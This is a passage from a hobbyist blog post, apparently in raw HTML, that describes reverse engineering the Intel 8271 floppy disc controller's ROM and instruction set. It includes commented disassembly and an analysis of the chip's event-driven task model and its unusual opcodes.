src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpe15I8rLXf1xE6WA7b7ym2SWS7cs5jo5mo6FpWRCVoDduJen-WKYTUiYAVY9AIMgbmNiBfzq4VIgD1SVOP0EozBjt4fBIox4XwY0Pc84W8MeUPZM0HhYgWx0bMhyjRmNIjPgAEFmqv2c3/w640-h286/8271_and_8273.jpg" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">8271 left, 8273 right</td></tr></tbody></table><p>Ken also found a patent relating to this dual core design! It's <a href="https://patents.google.com/patent/US4152761A/" target="_blank">US4152761</a>. [<a href="https://drive.google.com/file/d/1bnR9p-fwb82HZeQvJAIr_JM3Oebc8xrs/view" target="_blank">link to a more complete version</a>]. There's a lot of useful architectural detail in the patent, including this interesting summary of key components.</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSxrxBwmDZnj1ALKQmnW3JqOFm09JYVFCs3AvSYBka2TiUEquBhquskADv1gGpNwbKDoX_JgTOttRkeXjwMxsu_bu-yG6aK2tD9xTE3TlIWWXojxMK3ZZaWO_0PdbrsORTwIgXd_-z22Pj/s728/patent_8271_diag.png" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="506" data-original-width="728" height="444" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSxrxBwmDZnj1ALKQmnW3JqOFm09JYVFCs3AvSYBka2TiUEquBhquskADv1gGpNwbKDoX_JgTOttRkeXjwMxsu_bu-yG6aK2tD9xTE3TlIWWXojxMK3ZZaWO_0PdbrsORTwIgXd_-z22Pj/w640-h444/patent_8271_diag.png" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">From US4,152,761</td></tr></tbody></table><p>As can be seen, there's additional complexity described here that falls outside what we'd expect from a traditional CPU. There's dispatcher requests, priority resolution, a "case" and an "address" register in addition to the program counter and instruction register. This relates to some form of scheduling, which we'll encounter later.</p><p>Finally, here's a diagram (courtesy of Ken). It's an early estimation of how the architecture we've seen in the the documents so far might map to the silicon. As a dual processor behemoth, note how there's two ALUs, two sets of registers, lots of PLAs (including a couple to the left and right of the "control" label), and plenty of patches of silicon with unknown function.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPREce-meHjQyLO3Pq3JKVr7e-lSL1O5vn-bF2EhhcjKQf9ZHg2s4ppPdqRwmfxpr_GiBoklrk_Xn2W6hdhrbK_y0My9PnuohSngTSsD1Sb-L3kmqYcdzCt2TrEv9x_zLFSeV2Ij977su7/s924/image+%25283%2529.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="855" data-original-width="924" height="592" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPREce-meHjQyLO3Pq3JKVr7e-lSL1O5vn-bF2EhhcjKQf9ZHg2s4ppPdqRwmfxpr_GiBoklrk_Xn2W6hdhrbK_y0My9PnuohSngTSsD1Sb-L3kmqYcdzCt2TrEv9x_zLFSeV2Ij977su7/w640-h592/image+%25283%2529.png" width="640" /></a></div><div style="text-align: left;"><br /></div><h3 style="text-align: left;">From bits to bytes to an Instruction Set Architecture (ISA)</h3><p>With an overview of the architecture, we have a better idea of what sort of opcodes we might find in the instruction set. The more pieces of the puzzle we have in our heads, the better chance we have of making abstract connections in our attempt to solve a problem with a lot of moving parts.</p><p>Initial attempts to disassemble the ROM centered around the theory that the CPU core might be based on the Intel <a href="https://en.wikipedia.org/wiki/Intel_MCS-48" target="_blank">MCS-48</a> microcontroller series. This series includes the well-known 8048 and has several variants such as the slightly cut-down 8020 (less I/O lines). And why wouldn't this core be based on a further cut-down 8020? It just fits too well: 1K ROM, 64 registers, 13 I/O lines. The timing works well too: the MCS-48 series first launched in 1976, making the core available before the release of the 8271. So the theory went, you'd be crazy as an 1970s Intel employee to not just walk down the corridor and raid the parts bin of your colleagues in order to get a headstart.</p><p>The MCS-48 theory turned out to fit extremely well.... but be false. No amount of ROM bit / byte wrangling led to sensible MCS-48 disassemblies.</p><p>Back to the drawing board, we looked again at our "probably correct" ROM decode and analyzed it for patterns we'd expect to find in an 8271 ROM, based on our understanding of how the controller works, and how disc recording works in general. Here's a section we found enlightening:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8Qu4WR1wOSjwMvAqUwYgAPj8fdJYBHmZ7mCOFM3i6TIb3O6Xb9rfYqC-h2zIOW8zo7t1-gHV1nyobn7CrkrkLpYCpUJOReHW87WSWA-jMJfHOrNV71L_lMFZ3s-HN0Gs6zOHhr_5AUP0w/s485/rom_hex_red_boxed.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="70" data-original-width="485" height="92" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8Qu4WR1wOSjwMvAqUwYgAPj8fdJYBHmZ7mCOFM3i6TIb3O6Xb9rfYqC-h2zIOW8zo7t1-gHV1nyobn7CrkrkLpYCpUJOReHW87WSWA-jMJfHOrNV71L_lMFZ3s-HN0Gs6zOHhr_5AUP0w/w640-h92/rom_hex_red_boxed.png" width="640" /></a></div><p>Most significant is the appearance of the constants $FE + $C7 (middle box), then $E5 + $FF (lower box) in a the same context. These constants are the data byte + clocks byte we'd expect to see in the format routine for FM (single density) formatted discs. $FE + $C7 is the sector header marker, and $E5 + $FF is the default fill byte for freshly formatted sectors. As a bonus, we speculated that $E9 (appearing four times in a row) could be a shift left or right opcode, with $FD perhaps being RET. All in all, some strong circumstantial evidence for a correct decode.</p><p>After the MCS-48 opcode list failed to match our ROM, we spent a long time trying to derive an alternate instruction set.</p><p><b>But it's hard; it's a bit like one of those jigsaw puzzles where every piece is the exact same color. It's very hard to find a start as there are so many different possibilities to try. Research is too often presented as a neatly packaged result, with no mention of the struggle. I think this contributes to discouraging newcomers. So make no mistake: this was a struggle; it went on for some time; there was swearing; and the characteristics leading to success were perseverance and grit as opposed to any particular technical ability.</b></p><p>The breakthrough was catalyzed when the hardware investigations got a good read on the wiring and content of one of the instruction PLAs associated with the byte processor. The PLA in question is actually the darker rectangular block to the left of the "control" label in the image above. It is populated like this:</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRlKRnWzBWCbLxvm39AQfy7oiWnyuQLCnMkSK599JASZ5yW-90UGTudCoyckVOcrvcIbf5a4j7C10h-X86rJar1sOKcgo41vsGDXHr_ISELmWMZyc-z0QFRG40O9VPJauqwgL0var6Ehtq/s557/left_instruction_table.jpg" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="202" data-original-width="557" height="145" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRlKRnWzBWCbLxvm39AQfy7oiWnyuQLCnMkSK599JASZ5yW-90UGTudCoyckVOcrvcIbf5a4j7C10h-X86rJar1sOKcgo41vsGDXHr_ISELmWMZyc-z0QFRG40O9VPJauqwgL0var6Ehtq/w400-h145/left_instruction_table.jpg" width="400" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Thanks to Diminished!</td></tr></tbody></table><p>With the instruction PLAs decoded, it would be possible to trace the effects of each 8-bit opcode by following activation lines to the registers, stack, ALU, etc. However, we were able to hit our breakthrough with only opcode ranges, provided by this PLA. Of specific interest is these ranges from Rich:</p></div><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><div><div style="text-align: left;"><span style="font-family: courier;">1111 1100 FC</span></div></div><div><div style="text-align: left;"><span style="font-family: courier;">1111 1101 FD</span></div></div><div><div style="text-align: left;"><span style="font-family: courier;">[...]</span></div></div><div><div style="text-align: left;"><span style="font-family: courier;">0010 xxxx 20-2F</span></div></div><div><div style="text-align: left;"><span style="font-family: courier;">[...]</span></div></div><div><div style="text-align: left;"><span style="font-family: courier;">0011 xxxx 30-3F</span></div></div><div><div style="text-align: left;"><span style="font-family: courier;">[...]</span></div></div><div><div style="text-align: left;"><span style="font-family: courier;">001x xxxx 20-3F</span></div></div></blockquote><div><p>The specialized $FC and $FD match our theory of CALL and RET, but more pivotal is the range of $20-$3F, split into 2x 16 wide blocks. Immediately, I speculated this could be "move register to accumulator" and "move accumulator to register". This would turn out to be correct. Furthermore, I noted that opcode $0? was common before $2? or $3?, e.g.</p></div><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><div><p style="text-align: left;"><span style="font-family: courier;">05D: 04 22 03 35</span></p></div></blockquote><div><p>This led to the theory that these are register bank selection opcodes. Similar to the MCS-48, the theory is that there aren't enough opcodes for all operations to be able to reference all 32 registers, so there must be a bank select. This also would turn out to be correct. In fact, with these pieces, the jigsaw started to fall in place, and fall into place faster and faster.</p><h3 style="text-align: left;">Some ROM code examples</h3><p>For these code examples, bear in mind that the Instruction Set Architecture (ISA) presented here hasn't seen public light of day as far as we know. We've had to invent our own assembly mnemonics, although they're designed to be familiar to anyone familiar with assembly languages in general. Some specific notes:</p><p></p><ul style="text-align: left;"><li>SEL RB is SELect Register Bank, and provides the base index for register access (multiply by 8 to get actual index).</li><li>Note that all register references are by index, not register number. A register number can be calculated with the index and register bank.</li></ul><p></p><p><b>1) READ SPECIAL REGISTER</b></p><div style="text-align: left;"><span style="color: #2b00fe; font-family: courier; font-size: x-small;">.command_READ_SPECIAL_REGISTER<br />32E 00<span style="white-space: pre;"> </span>SEL RB 0<br />32F 27<span style="white-space: pre;"> </span>MOV A, I7<span style="white-space: pre;"> </span>; R7 ($07) (param 1)<br />330 30<span style="white-space: pre;"> </span>MOV I0, A<span style="white-space: pre;"> </span>; R0 ($00) = register index<br />331 F8<span style="white-space: pre;"> </span>MOV A, [I0]<span style="white-space: pre;"> </span>; read special register value to A<br />332 02<span style="white-space: pre;"> </span>SEL RB 2<br />333 36<span style="white-space: pre;"> </span>MOV I6, A<span style="white-space: pre;"> </span>; R22 ($16) (ext RESULT) = A<br />334 0E<span style="white-space: pre;"> </span>SEL RB 14<br />335 EE<span style="white-space: pre;"> </span>SYS 2, RB<span style="white-space: pre;"> </span>; JMP (2,E,0) => $288, .post_command_tidy_up</span></div><p>The READ SPECIAL REGISTER command is one of the simplest. As suspected, "special register" externally is just "index into the 32 registers" internally. We can also note plenty of interesting things:</p><p></p><ul style="text-align: left;"><li>The command setup code, which we'll see in a bit, writes parameters to R7 downwards.</li><li>Indirect reads and writes are done via special opcodes that indirect through I0 (typically but not always R0), as per the MCS-48 architecture.</li><li>Some of the internal registers interact with the external bus registers used to interact with the host CPU. R22 is where you write values for them to appear in "ext RESULT", which is read with BBC Micro's 6502 at memory location $FE81.</li><li>The "register bank" concept appears to be re-used to provide a lookup index to the SYS 2, RB opcode. You might consider this a minor kludge.</li><li>In order to jump from page 3 ($3??) to page 2 ($2??) at the end, a special SYS opcode is required. Normal JMP / CALL instructions only have an 8-bit operand and can only jump to the current page. SYS opcodes look up a 10-bit PC from a hard coded table.</li><li>The command exits by jumping to a common exit routine, <span style="font-family: courier;">.post_command_tidy_up</span>. This routine disables most of the chip, including the bit processor, and events. This will be important later.</li></ul><p></p><p><b>2) SPECIFY</b></p><div style="text-align: left;"><span style="color: #2b00fe; font-family: courier; font-size: x-small;">.command_SPECIFY<br />066 00<span style="white-space: pre;"> </span>SEL RB 0<br />067 27<span style="white-space: pre;"> </span>MOV A, I7<span style="white-space: pre;"> </span>; R7 ($07) (param 1)<br />068 30<span style="white-space: pre;"> </span>MOV I0, A<span style="white-space: pre;"> </span>; R0 ($00) = destination index<br />069 F1 03<span style="white-space: pre;"> </span>MOV I1, #$03<span style="white-space: pre;"> </span>; R1 ($01) = count of 3 extra parameters<br />06B 14<span style="white-space: pre;"> </span>YIELDTO 4<span style="white-space: pre;"> </span>; seems to set PARAM callback to<br /><span style="white-space: pre;"> </span>; .wakeup_PARAM_4_SPECIFY, then YIELD<br />; ** entry point (3, segment 9, routine 4 5 6 7 C D E F)<br />.wakeup_PARAM_4_SPECIFY<br />06C 03<span style="white-space: pre;"> </span>SEL RB 3<br />06D 2E<span style="white-space: pre;"> </span>MOV A, IE<span style="white-space: pre;"> </span>; R30 ($1E) (ext PARAM)<br />06E 00<span style="white-space: pre;"> </span>SEL RB 0<br />06F E8<span style="white-space: pre;"> </span>MOV [I0], A<br />070 00<span style="white-space: pre;"> </span>SEL RB 0<br />071 80<span style="white-space: pre;"> </span>INC I0<br />072 A1<span style="white-space: pre;"> </span>DEC I1<span style="white-space: pre;"> </span>; R1 ($01), decrement count<br />073 8A 8C<span style="white-space: pre;"> </span>BZ $08C<span> </span><span> </span><span> </span><span> </span><span> </span>; branch if done<br /><span style="white-space: pre;"> </span>; lands at SEL RB 14, JMP RB<br /><span style="white-space: pre;"> </span>; which jumps to .post_command_tidy_up<br />075 FF<span style="white-space: pre;"> </span>YIELD</span></div><div style="text-align: left;"><br /></div><div style="text-align: left;">SPECIFY is also a simple command. It's not strictly a necessary command because it has the same effect as 3 WRITE SPECIAL REGISTER commands to sequential register numbers. It's unclear why it exists, given the space crunch in the ROM and on the silicon, but the datasheet does describe initializing the 8271 using a few of calls to this. Other items of note:</div><div style="text-align: left;"><ul style="text-align: left;"><li>SPECIFY accepts and applies the register writes immediately, YIELDing (sleeping / idling) between writes and waiting for the host CPU to supply the next register. This means the SPECIFY command might be partially completed for some time, and never fully completed, depending on how we program the chip. This will be significant later.</li><li>SPECIFY internally uses R0 as a destination index to write register values, and R1 as a count to complete. This makes it an ideal candidate to do some black box testing to confirm the chip behaves the same as our source code disassembly. Specifically, I tried and confirmed:</li><ul><li>Pass the first parameter to SPECIFY as 0, indicating we are writing register values starting at R0. Note that as per the code, R0 is used internally by SPECIFY.</li><li>Pass the second parameter as $22. This will get written to R0 (because R0 currently points to R0) and incremented, leaving $23 in R0. This has "corrupted" R0.</li><li>Pass the third parameter as $48. This will get written to MMIO register R35 ($23), and should turn on the drive motor.</li><li>Do not pass a fourth parameter. Despite not “completing” the full four parameters of the command, we expect the writing of the third parameter to have the effect as just described. <b>It does on real hardware</b>.</li></ul></ul></div><div style="text-align: left;"><b><br /></b></div><div style="text-align: left;"><b>3) External command register handling</b></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">.wakeup_COMMAND</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">014 02<span style="white-space: pre;"> </span>SEL RB 2</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">015 F6 00<span style="white-space: pre;"> </span>MOV I6, #$00<span style="white-space: pre;"> </span>; R22 ($16) = $00 (ext RESULT)</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">017 CF BF<span style="white-space: pre;"> </span>AND I7, #$BF<span style="white-space: pre;"> </span>; R23 ($17) (ext STATUS) !CMD_FULL</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">019 00<span style="white-space: pre;"> </span>SEL RB 0</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">01A F5 01<span style="white-space: pre;"> </span>MOV I5, #$01<span style="white-space: pre;"> </span>; R5 ($05) = $01 (param 3 default $01)</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;"><span style="white-space: pre;"> </span>; That’s 1x 128 byte sector in many cases.</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">01C F4 01<span style="white-space: pre;"> </span>MOV I4, #$01<span style="white-space: pre;"> </span>; R4 ($04) = $01 (param 4 default $01)</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">01E 03<span style="white-space: pre;"> </span>SEL RB 3</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">01F 98 05<span style="white-space: pre;"> </span>MOV A, #$05<span style="white-space: pre;"> </span>; 5 parameters expected</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">021 6F 18 27<span style="white-space: pre;"> </span>TBZ IF, #$18, $027<span style="white-space: pre;"> </span>; R31 ($1F) (ext CMD), jump if 5 param <span> </span><span> <span> </span><span> </span><span> </span><span> </span><span> </span><span> </span><span> </span><span> </span><span> </span><span> </span></span><span>; </span>command</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;"><span style="white-space: pre;"> </span>; matches SCAN, FORMAT</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">024 2F<span style="white-space: pre;"> </span>MOV A, IF<span style="white-space: pre;"> </span>; R31 ($1F) (ext CMD)</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">025 9C 03<span style="white-space: pre;"> </span>AND A, #$03<span style="white-space: pre;"> </span>; (CMD & 3) parameters expected</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">027 00<span style="white-space: pre;"> </span>SEL RB 0</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">028 31<span style="white-space: pre;"> </span>MOV I1, A<span style="white-space: pre;"> </span>; R1 ($01) = A = parameters expected</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">029 8A 3D<span style="white-space: pre;"> </span>BZ $03D<span> </span><span style="white-space: pre;"> </span>; if no parameters, start command</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">02B F0 07<span style="white-space: pre;"> </span>MOV I0, #$07<span style="white-space: pre;"> </span>; R0 ($00) = $07 (put parameters at $07 down)</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">02D BC 01<span style="white-space: pre;"> </span>TASK 4, 1<span style="white-space: pre;"> </span>; select .wakeup_PARAM_1_accept</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;"><span style="white-space: pre;"> </span>; 3 9 (1, 3, 9, B) = $035</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">02F FF<span style="white-space: pre;"> </span>YIELD</span></div><div><br /></div><div>This is where to start reading if you want to trace the main entry point into the ROM. The 8271 byte processor wakes up here where the external host CPU writes to the external command register ($FE80 on the BBC Micro). And again some interesting things to note:</div><div><ul style="text-align: left;"><li>For commands other than SCAN and FORMAT, the number of parameters expected is actually encoding in to the low order bits of the command byte. Undoubtedly, this saves space in the ROM. This is another case where a simple test can confirm the behavior claimed by the ROM code:</li><ul><li>Take a command that takes 1 parameter, e.g. READ SPECIAL REGISTER.</li><li>Increment the command byte and supply that to the 8271 instead.</li><li>We'd expect the 8271 to require 2 parameters to start the command, but then ignore the second parameter and behave as if the 1 parameter version was used. <b>This is indeed observed on real hardware</b>.</li></ul><li>Some default parameter values are deployed. These are used in the commands the datasheet calls "128 Byte Single Record Format". Presumably it is again a win for ROM space savings.</li></ul><div><b><br /></b></div><div><b>4) Full ROM disassembly</b></div><div><br /></div><div>The full ROM disassembly, as of time of writing, may be found here: [<a href="https://drive.google.com/file/d/1SyvAfMYjFEZjd0Q-YguTAXRlxoR-tPYI/view" target="_blank">link</a>]. This copy will remain static. It's mostly complete, and all of the "main" paths are fully traced, including SEEK, READ DATA, WRITE DATA and FORMAT TRACK.</div><div><br /></div><div><h3 style="text-align: left;">Javascript on a (1970s!) chip</h3></div><div><br /></div><div>It is time to look at some of the unusual sounding instructions in the ISA:</div><div><ul style="text-align: left;"><li><b>YIELD</b>. $FF. This instruction tells the processor to switch to running the highest priority dispatcher request, or (more likely) go idle if there's no dispatcher request active.</li><li><b>TASK t, r</b>. $B8-$BF, 2 bytes. This instruction changes the callback routine for the specified task. Callback routines are specified as an integer that form part of a lookup key into a table of ROM addresses.</li><li><b>YIELDTO r</b>. $10-$1F. Change the callback routine for the currently executing task and yield.</li><li><b>SYS 0, RB, A</b>. $EC. Jump to the ROM address at key (0, RB, A) in the address PLA. RB is the current register bank from the SEL RB instruction, and A is the accumulator value.</li><li><b>SYS 1, RB, R</b>. $ED. Jump to the ROM address at key (1, RB, R) in the address PLA. RB is the current register bank from the SEL RB instruction, and R is current routine value.</li><li><b>SYS 2, RB</b>. $EE. Jump to the ROM address at key (2, RB, 0) in the address PLA. RB is the current register bank.</li></ul><div>There are quite a few concepts introduced here. If you find them somewhat jumbled, you are not alone. A lot of things about the non-traditional parts of the byte processor CPU appear very ad-hoc to me. Let's look at a concrete example: the handler for the SPECIFY command. This is the <span style="font-family: courier;">.command_SPECIFY</span> code in example chunk 2) above.</div></div><div><br /></div><div>To get <span style="font-family: courier;">.command_SPECIFY</span> to run, the host CPU provides the command $35 to the external command register, then 1 initial expected parameter to the external parameter register. The byte processor CPU wakes up at <span style="font-family: courier;">.wakeup_PARAM_1_accept</span>. The context here is:</div><div><ul style="text-align: left;"><li>PC == $035</li><li>TASK == 4</li><li>SEGMENT == 9, ROUTINE == 1</li></ul></div><div><br /></div><div>The fact that writes to the external parameter register wake up task 4 is <b>hardcoded</b>. The PC executed is determined by the routine selected for this task, which was 1 at the time. This is used to create the key (3,9,1), which looks up the address $035 in the address PLA. The address PLA is <b>hardcoded</b>. The fact that task 4 keys lookups as (3,9,x) is <b>hardcoded</b>.</div><div><br /></div><div><span style="font-family: courier;">.command_SPECIFY</span> ends with this, because it is the one command that gets executed and then decides it wants to yield to wait for 3 more parameters:</div><div><br /></div><div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">06B 14<span style="white-space: pre;"> </span>YIELDTO 4<span style="white-space: pre;"> </span>; seems to set PARAM callback to</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;"><span style="white-space: pre;"> </span>; .wakeup_PARAM_4_SPECIFY, then YIELD</span></div></div><div><br /></div><div>This unusual instruction sets the callback routine for the <i>current</i> task to be 4. This means that the callback code for the next external parameter register write will be keyed (3,9,4) in the address PLA. That's PC $06C, aka. <span style="font-family: courier;">.wakeup_PARAM_4_SPECIFY</span>.</div><div><br /></div><div><b>A good mental model for this is Javascript</b>. All execution is event based; the handler for a given event can be changed (by the handler itself, or an unrelated handler); there is no pre-emption until an explicit yield.</div><div><br /></div><div>The known events wired in to the byte processor are:</div><div><ul style="text-align: left;"><li>0: Not reversed at all. Appears to be related to the SCAN command, which isn't enabled on the BBC Micro due to lack of DMA.</li><li>1: Bit processor event, e.g. found sync, lost sync, CRC error.</li><li>2: Bit processor, read byte ready.</li><li>3: Bit processor, write byte needed.</li><li>4: External parmeter register written.</li><li>5: appears unused. (Could be permanently connected to external command register?)</li><li>6: Disc drive index pulse.</li><li>7: appears unused.</li></ul></div><div><br /></div><div>On top of the "normal" Javascript model, there's also the concept of task priorities. These are not visible in the ISA and are presumably hardcoded. One instance this might come in handy in a floppy disc controller is when a disc drive index pulse (once per disc revolution) fires at the same time the bit processor needs a write byte. (It's not common to write across the index, but it could happen.) In this instance, providing the bit processor a data byte is a much more real-time task than handling an index pulse, so it should be handled first.</div><div><br /></div><div>Yes, this is quite some complexity in addition to the complexity typical in a general purpose CPU. In particular, it provides many additional ways to slice and dice control flow handling beyond the standard JMP / CALL / RET. In fact -- and somewhat painfully -- the different control flow possibilities are mixed together! To briefly get a taste of the horrors, here's the command handler for many of the sector read operations:</div><div><br /></div><div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">.command_READ_DATA</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">.command_READ_DATA_AND_DEL_DATA</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">.command_VERIFY_DATA_AND_DEL_DATA</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">0A7 FC C9<span style="white-space: pre;"> </span>CALL $0C9<span> </span><span> </span>; .do_common_path_from_seek</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;"><span style="white-space: pre;"> <span> </span><span> </span></span>; very gnarly because this CALL does a YIELD</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;"><span style="white-space: pre;"> <span> <span> </span></span></span>; context on RET is from</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;"><span> </span><span> </span><span> </span><span> </span><span> </span><span> </span><span> </span><span> </span>; .wakeup_BITPROC_EVENT_1_check_header_crc</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;"><span style="white-space: pre;"> <span> </span><span> </span><span> </span><span> </span></span>; if we get a matching sector header,</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;"><span> </span><span> </span><span> </span><span> </span><span> </span><span> </span><span> </span><span> </span>; the RET at $255 fires</span></div><div><span style="color: #2b00fe;"><span style="font-family: courier; font-size: x-small;">0A9 BA 0B<span style="white-space: pre;"> </span>TASK 2, 11<span style="white-space: pre;"> </span>; select </span><span style="font-family: courier; font-size: small;">.wakeup_BITPROC_READ_10_11_count_GAP2</span></span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;"><span style="white-space: pre;"> <span> </span><span> </span></span>; (3,5,(10,11)) = $1B8</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">0AB 12<span style="white-space: pre;"> </span>YIELDTO 2<span style="white-space: pre;"> </span>; select</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;"><span> </span><span> </span><span> </span><span> </span><span> </span><span> </span><span> </span><span> </span>; .wakeup_BITPROC_EVENT_2_check_for_data_marker</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;"><span style="white-space: pre;"> </span>; (3,4,2) = $2D0</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;"><span style="white-space: pre;"> </span>; and YIELD</span></div></div><div><br /></div><div>As can be seen, a CALL subroutine is doing a YIELD without unwinding the stack. This should probably be considered an anti-pattern? The stack is a shared resource across all tasks, so you'd better hope that two different tasks can't trip over each by doing this at the same time. There's also the complexity that when a CALL returns, various aspects of the execution environment (task, routine, RB, etc.) may well have changed.</div><div><br /></div><div>All this makes the ROM very hard to follow for the read and write paths, even with a fully disassembled and commented ROM!</div><div><br /></div><h3 style="text-align: left;">Unusual features of the ISA</h3></div><div><b><br /></b></div><div><b>1) Lack of symmetry</b></div><div><br /></div><div>These are the opcodes we found relating to incrementing, decrementing, adding and subtracting:</div><div><br /></div><div><div><span style="color: #990000; font-family: courier;">$80-$83:<span style="white-space: pre;"> </span>INC Ix</span></div><div><span style="color: #990000; font-family: courier;">$84-$87:<span style="white-space: pre;"> </span>ADC A, Ix</span></div><div><span style="color: #990000; font-family: courier;">[...]</span></div><div><span style="color: #990000; font-family: courier;">$A0-$A7:<span style="white-space: pre;"> </span>DEC Ix</span></div><div><span style="color: #990000; font-family: courier;">[...]</span></div><div><span style="color: #990000; font-family: courier;">$90-$93:<span style="white-space: pre;"> </span>ADC Ix<span style="white-space: pre;"> </span>does INC Ix if carry</span></div><div><span style="color: #990000; font-family: courier;">$94-$97:<span style="white-space: pre;"> </span>SBB A, Ix</span></div></div><div><br /></div><div>This is interesting because there is an asymmetry between which registers can be incremented vs. decremented. Some registers cannot be incremented at all, even with register banking, because banking operates in multiples of 8 and there are only 4 increment opcodes.</div><div><br /></div><div>One theory is that the chip designers were short on silicon space, and trying to get away without add and subtract support in the ALU. There's only circumstantial evidence to support this, such as the hacked-out ranges in the opcode space; the code generally being add / subtract free except for the code implementing disc drive seek; no compare instruction found (yet -- there are unknowns); the use of XOR to do equality checks at $240 and $24F; and the presence of only direct equality checking or mask based checking for the most common branch opcodes (see item 2) directly below). But it's fun to speculate wildly isn't it?</div><div><br /></div><div><b>2) 3-byte opcodes</b></div><div><br /></div><div>An entire quarter(!) of the opcode space is devoted to four conditional branch instructions:</div><div><br /></div><div><div><span style="color: #990000; font-family: courier;">$40-$4F:<span> </span><span> </span>BEQ Ix, #imm, abs<span style="white-space: pre;"> </span>branch if Ix == imm</span></div><div><span style="color: #990000; font-family: courier;">$50-$5F: <span> </span><span> </span>BNE Ix, #imm, abs<span style="white-space: pre;"> </span>branch if Ix != imm</span></div><div><span style="color: #990000; font-family: courier;">$60-$6F:<span> </span><span> </span>TBZ Ix, #imm, abs<span style="white-space: pre;"> </span>test and branch if zero</span></div><div><span style="color: #990000; font-family: courier;">$70-$7F:<span> </span><span> </span>TBNZ Ix, #imm, abs<span style="white-space: pre;"> </span>test and branch if not zero</span></div></div><div><br /></div><div>These opcodes are all three bytes, which is a departure from Intel's other microcontrollers of the era. It's a lot of opcode space, but they can do a lot with a little, for example this piece of code from <span style="font-family: courier;">.do_seek</span>.</div><div><br /></div><div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">13E 62 01 3E<span style="white-space: pre;"> </span>TBZ I2, #$01, $13E<span> </span>; MMIO R34 ($22) (drive in), wait until CNT/OPI</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">141 72 01 41<span style="white-space: pre;"> </span>TBNZ I2, #$01, $141<span> </span>; MMIO R34 ($22) (drive in), wait until !CNT/OPI</span></div></div><div><br /></div><div>For a certain (less common) seek mode, these 6 bytes are sufficient to busy loop while waiting for the drive to start the seek, then acknowledge finishing it.</div><div><br /></div><div>These three byte opcodes were found by the previously mentioned "jigsaw" analogy. Once the command entry function was fully disassembled apart from just three bytes at $021, there was only one clean possibility that fitted the required behavior.</div><div><br /></div><div><b>3) No timers, port I/O or IRQs</b></div><div><br /></div><div>Presumably to save silicon, the byte processor CPU has done away with timers, dedicated port I/O instructions and IRQs. The MCS-48 has all of those.</div><div><br /></div><div>They're not needed, though. Delays, such as the millisecond range delays for seek steps, are simply timed via busy loops.</div><div><br /></div><div><b>4) Decide your own adventure</b></div><div><br /></div><div>At time of writing, our opcode list is here: [<a href="https://drive.google.com/file/d/1EIg6utXQKTEYf9x6fcpJ0Sht1Pj_r9WW/view" target="_blank">link</a>]. It is not complete. The one part of the 8271 ROM we have not 